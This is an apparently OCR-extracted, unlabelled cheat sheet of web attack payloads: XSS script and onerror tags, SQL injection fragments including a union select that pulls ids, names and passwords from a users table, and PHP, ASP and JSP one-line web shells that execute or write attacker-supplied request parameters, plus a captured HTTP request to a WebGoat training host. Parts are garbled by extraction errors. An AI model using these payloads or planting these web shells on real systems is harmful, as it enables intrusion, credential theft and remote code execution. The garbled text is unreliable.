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<script>alert('xss') </script>
<img src="" onerror=alert("xss")>

<img src="" javascript:alert("xss")>
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or 1" = "1 and1l=1_, Ordey by, union select, concat(). group_concat(). sleep()
/ﬁ_é
=7

select schema_name from information_schema.schemata

union select 1,concat(id,0x3a,name,0x3a,passwd),3,4,5 from users
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<?php @eval($_POST[value]);?>

<?php assert($_POST[gazw]);?>

<?php $a = str_replace(""vbnm"","""",""asvbnmsert""); $a($_POST[gazw]);?>
asp—RlEARS

<%eval request("MH")%>

<%execute request("MH")%>
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<%Runtime.getRuntime().exec(request.getParameter("i")); %>

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getReal

Path("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
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POST WebGoat/attack?Screen=2634&menu=900 HTTP/1.1
Accept: text/html, application/xhtml xml, applicationxml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8,9=0.7 *,q=0.7
Authorization: Basic Z3VIc3Q6Z3VIc3Q=
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.100.93/WebGoat/attack?Screen=2634&menu=9
00
Content-Length: 100
Host 172.16.100.93
Connection: Keep-Alive
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